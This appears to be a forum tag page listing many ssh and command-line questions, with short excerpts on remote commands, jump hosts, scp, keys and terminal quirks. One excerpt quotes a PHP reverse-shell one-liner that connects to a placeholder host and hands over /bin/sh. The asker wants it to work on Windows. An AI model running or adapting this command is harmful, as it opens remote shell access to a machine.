All Questions
Tagged with ssh command-line
267
questions
0
votes
1
answer
56
views
Execute a remote shell script from within screen via SSH and view stdout in one command
Couldn't find an answer for my particular use-case in the hours I've unsuccessfully researched this.
I have a script located on machine B. I am aiming to run a command on machine A that establishes an ...
0
votes
0
answers
48
views
One liner command to ssh to server2, switch to another user in server2, ssh into server3, run commands in server3 and get output
Because I can only get to server3 from server2 (Server2 running CentOS7), I'm trying to create a "template" command or a script that I can use to :
ssh to server2
switch to another user in ...
0
votes
1
answer
72
views
How to run `nvm` for Windows through SSH?
I'm on macOS and try to run nvm on a Windows host via OpenSSH. I installed nvm via scoop install nvm on my Windows remote. The environment variables are set and where nvm resolves properly, but trying ...
0
votes
1
answer
39
views
pipefail over ssh in linux
set -o pipefail is not getting evaluated correctly on the remote host if the set command is used in ssh command.
Example
ssh hostname "set -o pipefail; false | true; echo $?" - gives 0 (Not ...
0
votes
0
answers
40
views
How to run a single command via ssh to WSL2 [duplicate]
I'm trying to run a command from a non-Windows device that looks something like this:
ssh me@host 'cat file' > file
host is a Windows 11 box that is configured to SSH directly into a WSL2 shell. ...
1
vote
0
answers
160
views
Stuck at Vagrant connect to SSH
I am using Vagrant 2.3.4 and Virtual Box 7.0.8 to setup VM box eurolinux-vagrant/centos-stream-9 9.0.37 on Windows 10.
After using vagrant up, I have faced the SSH issue with this log:
Net::SSH::...
3
votes
2
answers
455
views
SSH remote command with nohup not working as expected
I wanted to run a long running command in a remote server, even after the connection terminates. So I thought of using ssh host "nohup cmd &". But for some reason, neither cmd is going ...
4
votes
1
answer
250
views
Query effective ssh (client) config from the command line
Is there any way to query the effective ssh (client) configuration?
Specifically: can I determine e.g. whether there's an entry for a given host, what's the ProxyJump or User setting for that host etc....
3
votes
1
answer
117
views
Why can I ssh and return a result faster than Linux can with a bundled command?
I'm writing a short bash script that involves logging into roughly 100 nodes and counting the number of processes running in top with my username, and I'm trying to combine the ssh-related processes ...
16
votes
4
answers
9k
views
What's the simplest way to display a browser-based interface on a computer without a GUI?
I am converting an old laptop into what will basically just be a terminal for some of my other computers. For the most part, I only need to ssh into my computers, and that I can do with any CLI-based ...
0
votes
1
answer
804
views
How can I access an intranet web site in the browser with command line?
From internet, I have access via ssh to the Machine_A and it can access the intranet. So, I can access all intranet sites with command line like:
ssh Machine_A -f 'curl -s http://192.168.0.51' > ...
0
votes
0
answers
153
views
Directly connecting a internal node of a remote server
I was trying to open files like .ipynb via terminal command line (command: code) on the remote server in VSCode.
But code is not in PATH, so I used
~/.vscode-server/bin/...
1
vote
0
answers
92
views
How to make "<&3 >&3 2>&3" command works in Windows as in Linux?
I tried this commmand on Debian GNU/Linux 11 (bullseye) shell :
php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");',
and it worked ...
0
votes
0
answers
384
views
Mouse Wheel scrolling in Screen session via Command Prompt/Powershell
I want to scroll via Mouse Wheel in a screen session I run in the Command Prompt or Powershell.
I already uncommented termcapinfo xterm|xterms|xs|rxvt ti@:te@ in my .screenrc. I can scroll when I use ...
0
votes
0
answers
123
views
The App is not open in Windows by sending the command through SSH connection from the virtual Linux
I have a system in which there is Windows OS and a virtual environment, including Ubuntu. I installed OpenSSH on the Windows OS, then configured it to establish an SSH connection between the virtual ...
0
votes
2
answers
5k
views
MobaXTerm: opening a new SSH session from Win CMD with logging
first topic here, so apologies in advance, if I am doing something wrong!
Searching with various terms did not yield in useful results, so I would like to ask for your help.
Is it possible to start a ...
1
vote
1
answer
122
views
scp doesn't trigger initial prompt even though known_hosts is empty or deleted
I have a bash script to copy a file to a remote server using scp and expect. The script is as follows:
#!/usr/bin/expect -f
set port [lindex $argv 0]
set file_to_send [lindex $argv 1]
set login [...
1
vote
1
answer
340
views
Start cygwin bash.exe without inheriting windows home
I want to be able to run in the cygwin environment from CMD but when I run C:\cygwin64\bin\bash.exe -l -i my home gets set to the windows home. As I understand bash.exe inherits the environment from ...
3
votes
1
answer
2k
views
How to check version of ssh-keygen?
What command can be used in Linux to display the version of ssh-keygen? Its man page doesn't tell the version, oddly, nor does it mention any option to do it (e.g. -v or --version). Of no use is apt-...
0
votes
2
answers
951
views
Running a Command using sshpass
I am trying to run a command using sshpass in a bash script to another linux server.
kernel_ipv4=1.2.3.4
vmpassword=dfbvndfbnpdp
sshpass -p "$vmpassword" ssh -o "...
6
votes
1
answer
1k
views
sending print string command to remote machine
I'd like to print some string to all open terminals processes that are running in remote machine. currently I'm using ssh to connect the remote machine, and than I echo my string into wall command :
...
0
votes
1
answer
109
views
How to combine these commands to SSH into remote machine?
I have three machines, let's call them Work, Home and Laptop, all on different networks. My goal is to remotely SSH into Home from Laptop. This is how I do this currently:
Connect all three machines ...
0
votes
1
answer
793
views
Disconnecting from SSH session whilst continuing to run process, then rejoining it
I log on to an ssh session via
ssh [email protected]
I then run a code via ./main
From here, I'd like to disconnect completely from the ssh session and switch off my PC. I'd like for the process ...
1
vote
1
answer
2k
views
Sending command: scp -v -t / exec request failed on channel 0
Attempting to send a simple txt file (soon to be csv files) from Windows Server 2019 using scp command (or sftp, or ssh) to a remote server. Remote server employee gave us a username and password to ...
0
votes
2
answers
1k
views
Get output of remote command locally
Let's assume I have a remote server with ssh access.
On the server, there is a command 'cmd_x' when I execute it, it will open an interactive command line where I can write commands (specific commands)...
2
votes
1
answer
4k
views
How to find the key ID in gpg to use with --export-ssh-key
I want to use gpg --export-ssh-key but I cannot figure out how to supply the key id. I have the following keys:
> gpg --list-keys --keyid-format SHORT
pub rsa3072/D54EC263 2022-04-30 [SC]
...
1
vote
1
answer
509
views
How to send images to local windows clipboard from ssh connection?
I have an ssh connection to my other computer running Ubuntu. I want to be able to copy an image from a file, example.png and have it show up in the clipboard (not as text) and be able to paste it ...
0
votes
1
answer
1k
views
How can I modify this bash script so that the port argument is optional?
I often connect through ssh to Docker containers running on a remote server. Every time the container is stopped or removed, I need to copy my ssh key on the container again, in order to connect. For ...
2
votes
1
answer
1k
views
Having your shell commands run after consecutive ssh
I have a function in my zsh source file ~/.zshrc:
function cr() {
ssh -p 5022 [email protected]
ssh servername2
screen -ls
}
However, everything after the first ssh seems to be ...
0
votes
1
answer
115
views
include in log elevated sudo users
I'm new here, but I tried looking but couldn't get how to do it...
I have an ec2 linux box.
When a user directly connects to the machine I can view its ssh ip.
Now when a user does sudo -s for example ...
3
votes
1
answer
4k
views
Use SSH key signing with Git and ssh-agent under Windows
Situation
I'm using Git 2.34 under Windows with GIT_SSH_COMMAND set to Windows OpenSSH implementation (it's also set on PATH). I want to use the new Git SSH key commit signing feature in combination ...
1
vote
1
answer
518
views
Command Prompt Black Screen NVIM
I'm facing a really annoying issue with CMD these days.
When attempting to launch neovim on Windows, the display is full black and I don't see any output.
Issue is the same when I SSH into a Linux ...
0
votes
1
answer
2k
views
ssh connexion : Permission denied (publickey,password)
I'm trying to connect to my server with a ssh connection, so it works when I use FileZilla but not with the command line ssh <login>@<ServerIP> -i /Volumes/ExternalDisk/key.ppk
I have this ...
3
votes
2
answers
82
views
Handle command line argument value from in-memory / inject content instead of use cli argument
Is there a way to handle command line arguments from in-memory?
My concrete problem is, I have a volume encrypted with luks, with a detached header file.
Setup as following:
workstation
server
I don'...
3
votes
1
answer
5k
views
How can I add my ssh public key to a Mikrotik router device using the command line?
Mikrotik doesn't support ssh-copy-id which copies ~/.ssh/id_rsa.pub into the .ssh/authorized_keys file of a host on almost all Linux devices.
Is there an equivalent way to authorize a key on a ...
0
votes
0
answers
13
views
Cannot execute SUID bash script with sudo as SSH command [duplicate]
I have simple bash script:
#!/bin/bash
sudo etherwake -i enp0s31f6 -D -b xx:xx:xx:xx:xx:xx
I have set also SUID bit and root as owner:
-rwSr-xr-x 1 root root 64 Aug 19 04:23 startPC.sh
If I run it ...
0
votes
1
answer
530
views
Send remote linux command with 2 ssh via bastion
I'm trying to send a command to my machine which is on private cloud. for that I need to connect to bastion server and then to the private machine. my terminal -> bastion server -> target vm
I ...
1
vote
1
answer
85
views
Why does `history -s` wipe my command history?
I am working on a project where the STG and LIVE environments have multiple instances, including a central 'gfs' server where you can do database admin
You access all of the instances via a 'bastion' ...
2
votes
1
answer
1k
views
Windows cmd prompt and powershell have scrolling problems with vi editor when connecting by ssh to Linux system
I am trying to connect from my Windows laptop to a Linux system via ssh in the command prompt. (Tried powershell too.) If I try to use the vi editor, the screen cannot scroll properly. Many lines ...
0
votes
1
answer
384
views
Running multiple ssh commands
I've got a command in bitbucket that runs multiple ssh commands, is there a way to run each command once the previous has completed?
ssh <user>@<host> 'cd /<dir>/example.com; git ...
0
votes
1
answer
918
views
Password via SSH through command prompt, is it secure
If I run SSH command via a Windows bat file, is the communication secure. I have the following command in my batch file and it asks for the password once it is executed. I am worried whether the ...
0
votes
0
answers
3k
views
SSH connection gets stuck when using jump host
At my work, we have a jump host over which I must connect to the cluster. Usually, the connection statement would be
ssh -t herp@jumphost ssh cluster
Furthermore, this connection has to be made from ...
1
vote
1
answer
2k
views
Copy file from local to remote SSH with spaces in username
I have to copy a file from my local machine to a remote server. The problem is, from what I'm understanding, is the space in my username ("User Name").
I've tried the following in command ...
1
vote
0
answers
18
views
Does molly-guard interfere with apcupsd shutdown process?
Does molly-guard interfere with apcupsd's shutdown process for the master or slave? I have molly-guard installed on both the apcupsd master and slave machines and am unable to test if it will ...
1
vote
1
answer
6k
views
How to Start an exe from .bat file without tying up the command line
I am using SSH to command line into another computer and execute .bat scripts. (Windows 10). But when I run a batch file that has the following in it
start c:\Program Files\qBittorrent\qbittorrent....
0
votes
0
answers
167
views
How to check number of parked cores in command line (win, lin) via ssh
I'm wondering how to check number of parked cores via CMD on Windows remotely, via ssh. I'm also using cygwin there, so bash scrips would also help. I tried to look for answers but it usualy directs ...
0
votes
1
answer
206
views
How to use patch command in WinSCP?
I need to apply this patch to my WordPress website. It seems that to do that, I need to SSH to my hosting and use Unix command patch < path_to_patch. However, since I'm using a shared hosting, not ...
4
votes
0
answers
585
views
Windows 10's SSH Client can't paste tilde and backtick
I'd like to use Windows 10's SSH Client so I don't have to install other programs to ssh but it is impossible for me to paste the tilde character (~) and the backtick (`), they are just ignored.
By ...
1
vote
2
answers
11k
views
PuTTY / plink - How to execute command AND keep shell alive
I'm remote connecting to a linux machine from windows using PLINK and would like to execute some commands in a batch script right after connecting, but it seems I cannot keep the terminal alive.
After ...
1
vote
1
answer
1k
views
Stop cmd from beeping when connected to linux terminal via ssh
I use cmd.exe of Windows 10 to remotely connect to a linux server via ssh. But it keeps beeping when I press certain keys, for example, pressing backspace when it is empty after the prompt, or ...